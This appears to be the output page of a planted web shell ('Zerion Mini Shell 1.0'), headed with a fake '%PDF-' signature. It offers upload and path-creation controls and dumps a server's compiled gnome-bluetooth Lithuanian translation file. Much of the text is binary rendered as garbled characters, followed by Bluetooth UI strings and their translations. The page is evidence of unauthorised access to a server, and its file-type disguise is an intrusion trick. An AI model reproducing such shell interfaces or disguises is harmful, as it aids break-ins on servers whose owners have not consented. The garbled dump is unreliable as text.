%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/locale/lt/LC_MESSAGES/
Upload File :
Create Path :
Current File : //usr/share/locale/lt/LC_MESSAGES/gnome-bluetooth2.mo

��o��`	a	t	�	�	�	*�	�	�	�	�		


,
9
Q
k
~
�
�
�
�
�
�
�
	[	{
�
����
������

,HKP%���Y�,
2
8
=
E
H

^
i

	�
�
�
�
�
L�
4+RT~h�<DSh)����$� 0?
Xcy���������JSW#k	�����������.D=F���%�&�*6=HE����
�����."Cf
s~�����NT
`nu
}���
������9?KU5���^�QY_ksv�������	9!$[(�V�f
gu� �-��
(&0O*�����
&*	3=
CN�`���	'
3	>H+a������5�CI`!'*5HX_UA+Vo:K. i/R%Sa3T\7O	Mh2)<#CQ&1eF$N^lPIG>-@`;"=64WdL[(Jc
ZgEDbm]kY09
8B?j,nf%'d hour%'d hours%'d minute%'d minutes%'d second%'d seconds%d B/s%d kB/s%u transfer complete%u transfers completeADDRESSAcceptAddressAll categoriesAll typesAllowAn unknown error occurredAudio deviceBluetooth File TransferBluetooth Pairing RequestBluetooth TransferBluetooth file transfer from %sCameraCancelChoose files to sendClick to select device…ComputerConfirmConfirm Bluetooth ConnectionConfirm Bluetooth PINConfirm the Bluetooth PIN for “%s”. This can usually be found in the device’s manual.ConnectedConnecting…ConnectionDeclineDeviceDevice _category:Device _type:DevicesDisconnectedDismissDisplayFile reception completeFrom:HeadphonesHeadphones, headsets and other audio devicesHeadsetIf you remove the device, you will have to set it up again before next use.Input devices (mice, keyboards, etc.)JoypadKeyboardMake sure that the remote device is switched on and that it accepts Bluetooth connectionsModemMouseNAMENetworkNoNo adapters availableNot Set UpNot paired or trustedOpen Containing FolderOpen FilePairedPaired or trustedPairing “%s”PhonePlease confirm that the following PIN matches the one displayed on “%s”.Please confirm the PIN that was entered on “%s”.Please enter the following PIN on “%s”.Please enter the following PIN on “%s”. Then press “Return” on the keyboard.Please move the joystick of your iCade in the following directions. Then press any of the white buttons.PrinterRemote controlRemote device to useRemote device’s nameRemove “%s” from the list of devices?ScannerSearching for devices…SelectSelect device to send toSelect the device category to filterSelect the device type to filterSend _Files…Send files via BluetoothSending %sSending file %d of %dShow:TabletThere was an errorTo:ToyTrustedTypeUnknownVideo deviceVisible as “%s” and available for Bluetooth file transfers. Transferred files are placed in the <a href="%s">Downloads</a> folder.WearableYesYou received a fileYou received “%s” via Bluetooth[FILE…]_Cancel_Close_Keyboard Settings_Mouse & Touchpad Settings_OK_Remove_Remove Device_Retry_Send_Sound Settingsapproximately %'d hourapproximately %'d hours“%s” wants to connect with this device. Do you want to allow it?“%s” wants to pair with this device. Do you want to allow pairing?Project-Id-Version: Bluetooth Applet 1.8
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/gnome-bluetooth/issues
PO-Revision-Date: 2019-08-20 12:59+0300
Last-Translator: Aurimas Černius <aurisc4@gmail.com>
Language-Team: Lietuvių <gnome-lt@lists.akl.lt>
Language: lt
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && (n%100<10 || n%100>=20) ? 1 : 2)
X-Generator: Gtranslator 3.32.1
%'d valanda%'d valandos%'d valandų%'d minutė%'d minutės%'d minučių%'d sekundė%'d sekundės%'d sekundžių%d B/s%d kB/sUžbaigtas %u perdavimasUžbaigti %u perdavimaiUžbaigta %u perdavimųADRESASPriimtiAdresasVisos kategorijosVisi tipaiLeistiĮvyko nežinoma klaidaGarso įrenginysBluetooth failų perdavimasBluetooth poravimosi užklausaBluetooth perdavimasBluetooth failų perdavimas iš %sFotoaparatasAtsisakytiPasirinkite siųstinus failusPasirinkite įrenginį…KompiuterisPatvirtintiPatvirtinti Bluetooth ryšįPatvirtinti Bluetooth PINPatvirtinkite „%s“ Bluetooth PIN. Jį paprastai rasite įrenginio žinyne.PrisijungtaJungiamasi…RyšysAtmestiĮrenginysĮrenginio _kategorija:Įrenginio _tipas:ĮrenginiaiAtsijungtaAtmestiVaizduoklisFailo gavimas užbaigtasIš:AusinėsAusinės, ausinės su mikrofonu ir kiti garso įrenginiaiAusinės su mikrofonuJei pašalinsite įrenginį, reikės jį nustatyti prieš kitą naudojimą.Įvesties įrenginiai (pelės, klaviatūros ir t. t.)Valdymo pultasKlaviatūraĮsitikinkite, kad nutolęs įrenginys yra įjungtas ir kad jis priima Bluetooth prisijungimusModemasPelėPAVADINIMASTinklasNeNėra prieinamų įrenginiųNenustatytasNesujungtas arba nepatikimasAtverti aplankąAtverti failąSujungtaSujungtas arba patikimasPoruojamasi su „%s“TelefonasPatvirtinkite, kad „%s“ rodomas PIN sutampa su šiuo.Patvirtinkite „%s“ įvestą PIN.Įveskite šį PIN įrenginyje „%s“.Įveskite šį PIN įrenginyje „%s“. Tuomet paspauskite „Enter“ klaviatūroje.Pajudinkite jūsų iCade vairasvirtę šiomis kryptimis. Tuomet paspauskite bet kurį baltą mygtuką.SpausdintuvasNuotolinis valdymasNaudotinas nutolęs įrenginysNutolusio įrenginio pavadinimasPašalinti „%s“ iš įrenginių sąrašo?SkaitytuvasIeškoma įrenginių…PasirinktiPasirinkite įrenginį, į kurį siųstiPasirinkite filtruotiną įrenginių kategorijąPasirinkite filtruotiną įrenginių tipąSiųsti _failus…Siųsti failus per BluetoothSiunčiamas %sSiunčiamas %d failas iš %dRodyti:PlanšetėKilo klaidaĮ:ŽaislasPatikimasTipasNežinomasVaizdo įrenginysMatomas kaip „%s“ ir prieinamas Bluetooth failų perdavimams. Perduoti failai bus patalpinti <a href="%s">parsiuntimų</a> aplanke.DėvimasTaipJūs gavote failąGavote „%s“ per Bluetooth[FAILAS…]_Atšaukti_Užverti_Klaviatūros nustatymai_Pelės ir jutiklinio kilimėlio nustatymai_Gerai_PašalintiPašalinti į_renginį_Bandyti dar kartąS_iųsti_Garso nustatymaiapie %'d valandąapie %'d valandasapie %'d valandų„%s“ nori susijungti su šiuo įrenginiu. Ar norite tai leisti?„%s“ nori susiporuoti su šiuo įrenginiu. Ar norite leisti poruotis?

Zerion Mini Shell 1.0